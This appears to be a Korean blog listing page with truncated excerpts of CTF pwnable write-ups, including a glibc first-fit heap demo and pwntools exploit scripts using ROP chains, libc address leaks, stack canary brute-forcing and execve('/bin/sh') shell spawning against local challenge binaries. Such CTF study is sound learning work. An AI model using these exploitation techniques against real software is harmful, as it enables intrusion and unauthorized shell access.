first_fit.c1234567891011121314151617181920212223242526272829303132333435#include #include #include int main(){ fprintf(stderr, "이 파일은 공격에대한 증명을 하지는 않지만, glibc allocator의 특성을 보여줍니다.\n"); fprintf(stderr, "glibc는 free chunk를 선택하는데 first-fit 알고리즘을 사용합니다.\n"); fprintf(stderr, "만약 chunk가 free되고 충분이 그 크기가 크면, malloc은 이 chunk를 선택합니다.\n"); fprintf(stderr, "이것은 use-after-free 공격 상황이 될 수 있습니다.\n"); fprintf..
PIE, NX가 걸려있다. 2번 메뉴에서 system 함수의 주소를 구하고 offset을 바탕으로/bin/sh, gadget의 주소를 구해 익스 할 수 있따. 1234567891011121314151617181920212223242526272829303132from pwn import * p = process('./r0pbaby')#context(arch='amd64',os='linux',endian='little',log_level='debug') p.sendlineafter(': ','2')p.sendlineafter('symbol: ','system') p.recvuntil("Symbol system: ")system = int(p.recv(18),16) binsh = system + 0x1479c..
underflow 내고, write 함수를 사용한 다음에는 첫번째, 세번째 인자가 세팅되어있으므로pop rsi r15 가젯으로 rsi만 컨트롤 하여 릭 하고, main으로 돌리고 oneshot으로 뛰어서익스 했다 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import * p = process('./cee')e = ELF('./cee')context(arch='amd64',os='linux',endian='little',log_level='debug')POP_RSI_R15_RET = 0x00400a51main = 0x400716 def check(): #p.sendlineafter(..
123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import * p = process('./ropasaurusrex')e = ELF('./ropasaurusrex')pppr = 0x080484b6#context(arch='i386',os='linux',endian='little',log_level='debug')payload="A"*140offset = 0x9ad60 # read- systempayload+=p32(e.plt['read'])payload+=p32(pppr)payload+=p32(0)payload+=p32(e.bss())payload+=p32(len("/bin/sh\x00")) ..
1234567891011121314151617181920212223242526272829303132333435from pwn import * p = process('./BaskinRobins31')e = ELF('./BaskinRobins31')context(arch='amd64',os='linux',endian='little',log_level='debug') POP_RDI_RSI_RDX_RET = 0x0040087amain = 0x400a4b payload="A"*184payload+=p64(POP_RDI_RSI_RDX_RET)payload+=p64(1)payload+=p64(e.got['read'])payload+=p64(8)payload+=p64(e.plt['write'])payload+=p64(..
정말 간단한 문제입니다 main 함수인데요, 간단히 read함수에서 bof가 일어납니다. 그러나 static linked 바이너리라 syscall을 이용해 문제를 풀어야합니다. 1.카나리 릭2.bof 후 read로 bss에 /bin/sh 입력3.execve 콜 대충 이렇게 시나리오를 짜고 익스 하였습니다. 유의해야할 점은 64bit 에서는 int 0x80이 아닌 syscall을 사용하고, execve("/bin/sh",NULL/NULL); 이어야 하는데 두번째 인자가 더블 포인터라 bss에 NULL을 입력하고 그곳을 가리키는 주소로 인자를 세팅해야 한다는 것입니다. 123456789101112131415161718192021222324252627282930313233343536373839404142434..
static linking + strip 이어서 분석이 힘들었습니다. ida로 string 검색해서 문자열 따라가면서 취약한 함수를 찾았음 처음 문자 하나를 받고, 그 크기만큼 입력받는데, 입력받는 문자열의 크기가 0x2c여서 간단하게 bof가 나는데 카나리가 있습니다. 그리고 fork로 자식프로세스를 생성 한 후 거기서 bof가 나는 함수를 실행하기 때문에 canary는 매번 같습니다. 근데 fork를 800번 하므로 1byte씩 브포하면 릭 할 수 있습니다. 그렇게 canary 릭 하고, eip 조작이 가능해지면 syscall 가젯 ( pop eax, pop edx,ecx,eax, int 0x80)을 이용하여 read로 bss에 /bin/sh 문자열을 받고, execve를 콜 해서 그 부분을 실행하면..
바이너리를 보면 매우 간단합니다. write 함수로 출력 해주고 read 로 입력 받은 후 esp에 0x14만큼 더한뒤 리턴 write 로 3c만큼 받는데 어떻게 하면 세폴이 날까 하고 A를 막 줘봤더니 24개를 주었더니 eip가 조작되었습니다. 그래서 eip를 스택으로 돌리고 스택에 쉘코드를 넣어 실행하려했는데 aslr이 걸려있어 실패했습니다. NX도 걸려있어서 쉘코드를 스택에 올려 실행하는 방법으로 해야될 것 같은데 스택 주소를 알지 못합니다. 그래서 write 함수로 스택 주소를 알아내고, esp+0x14 를 실행하므로 esp+0x14에 쉘코드를 넣고 리턴 어드레스에 스택주소+0x14 만큼 해서 익스 했습니다. 그리고 쉘코드가 execve("/bin/sh") 인데 이 execve 함수는 ecx.ed..
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)); 이게 __libc_start_main 함수 인자인데 첫번째 인자가 main이다. 그러므로 ltrace ./binary_name 해서 __libc_start_main 인자를 찾아주면 된다.